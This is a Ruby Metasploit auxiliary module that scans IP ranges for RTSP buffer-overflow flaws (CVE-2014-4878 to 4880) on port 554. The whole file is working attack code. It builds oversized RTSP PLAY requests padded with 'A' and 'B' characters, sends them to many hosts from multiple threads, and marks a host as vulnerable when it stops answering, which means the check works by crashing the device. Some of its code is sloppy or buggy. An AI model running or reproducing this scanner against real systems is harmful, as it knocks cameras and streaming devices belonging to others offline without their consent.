## 
# this module requires Metasplot: 
# current source ... 
# #


require 'msf/core'
require 'rex/socket'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Report
	#include Rex::Socket::RangeWalker


  def initialize
    super(
      'Name' 	=> 'CVE-2014-4878-80 vul checkout Utility',
      'Description' => %q{
	    this modules test if port 554 has a vul
      },
      'Author' 	=> 'Qingluan',
      'License' => MSF_LICENSE
    )

    register_options(
			[
				Opt::RPORT(554),
				OptAddress.new('RHOST',   [ false,  'ips to set ' ]),
				OptAddress.new('RHOSTS',   [ false,  'ips to set ' ]),
				OptAddress.new('THREADS',   [ true,   'set thread number to run', 1 ]),
				OptString.new('TYPE', [true, 'Set which type 554 vuls you want to just check out', '4878']),
				OptString.new('IP_FILE',[false, 'Set ip target file', '']),
		], self.class)

		@statistic_count = 0
	end

#	def parse(parseme)
#		if File.exists? parseme
#			f = File.new(parseme)	
#			ips = f.collect{|i| i.strip if l =~ /(\d+.){3}\d+/} 
#			return ips
#		else
#			return self.parse(parseme)
#		end
#	end

	def get_payloads_4878(host)
    payload = 'PLAY rtsp://%s/ RTSP/1.0\r\n' % host
    payload += 'CSeq: 7\r\n'
    payload += 'Authorization: Basic AAAAAAA\r\n'
    payload += 'Content-length: 3200\r\n\r\n'
    payload += 'A' * 3200
	end

	def get_payloads_4879(host)
    payload = 'PLAY rtsp://%s/ RTSP/1.0\r\n' % host
    payload += 'Authorization'
    payload += 'A' * 1024
    payload += ': Basic AAAAAAA\r\n\r\n'
  end 

	def get_payloads_4880(host)
    payload = 'PLAY rtsp://%s/ RTSP/1.0\r\n' % host
    payload += 'CSeq: 7\r\n'
    payload += 'Authorization: Basic '
    payload += 'A' * 2048
    payload += '\r\n\r\n'
    payload += 'B' * 1024
	end

	def run
		threads_max = datastore['THREADS'].to_i
		@tl = []
		@end = 0
		rhosts = datastore['RHOSTS']
		ip_f = datastore['IP_FILE']
		ip_range = []
		
		# load target from rhost CIDR
		print_status(" loading ips ..")
		if File.exists? ip_f
			print_good("from file : #{ip_f} ")
			f = File.new(ip_f, 'r')

			f.each do |line|
				if line =~ /(\d+.){3}\d+/
					ip_range << line.strip()
				else
					print_status("#{line} is unvalid !")
				end
			end
		# load targets from file
		else
			ip_addr = ::Rex::Socket::RangeWalker.new(rhosts)
			
			ip_addr.each do |ip|
				ip_range << ip
			end
		end
		@all_count =  ip_range.length

		
		loop do

		#	ip_range.each do |ip|
				@end += 1
				while (@tl.length < threads_max)
					ip = ip_range.pop
					unless ip
						break
					end
					@tl << framework.threads.spawn("ScannerHost(#{self.refname})-#{ip}", false, ip.dup) do |tip|
							targ = tip
							nmod = self.replicant
							nmod.datastore['RHOST'] = targ
						begin 
							nmod.run_host(ip)
						rescue ::Rex::BindFailed
							print_status("error ")
						rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error, ::EOFError => e
							print_status("Error1 #{e.message}")
				  	rescue ::Interrupt,::NoMethodError, ::RuntimeError, ::ArgumentError, ::NameError => e
							print_status("Error2 #{e.message}")
						rescue ::Exception => e
							print_status("Error: #{targ}: #{e.class} #{e.message}")
						ensure
							nmod.cleanup
						end
					end
				end
  
			#end
				if (@tl.length == 0)
					break
				end
				@tl.first.join
				@tl.delete_if { |t| not t.alive? }

			if @end == ip_range.length
				break
			end
		end

	end

	def show_progress(i='' ,all='', msg, status)
		printf "%4d/%4d #{msg} #{status}"
	end

	def run_host(ip)
		rport = datastore['RPORT']
		payload_type = datastore['TYPE']
		case payload_type
		when '4878'
						payload = get_payloads_4878 ip
		when '4879'
						payload = get_payloads_4879 ip
		when '4880'
						payload = get_payloads_4880 ip
		else
						payload = get_payloads_4878 ip
		end

		begin 
			@statistic_count += 1
			printf "%2d/%3d : %s \r" , @statistic_count, @all_count, ip
			connect(true, 'RHOSTS' => ip, 'RPORT' => rport)
			sock.put(payload)
			disconnect
		rescue ::Rex::ConnectionRefused, ::Errno::ETIMEDOUT, ::Timeout::Error
			print_status("#{ip} down ")
			return
		end
		sleep 1
		begin 
			connect(true, 'RHOSTS' => ip, 'RPORT' => rport) 
			sock.put(payload)
			disconnect
		rescue ::Rex::ConnectionRefused, ::Rex::ConnectionError, ::Timeout::Error 
			print_good("#{ip} vul  ")
			report_note(
				:host => ip,
				:type => "#{datastore['TYPE']}",
				:data => "554 vul"
			)
		rescue ::Exception => e
			print_error("#{e.tag} => #{e.message}")
		end

	end
end





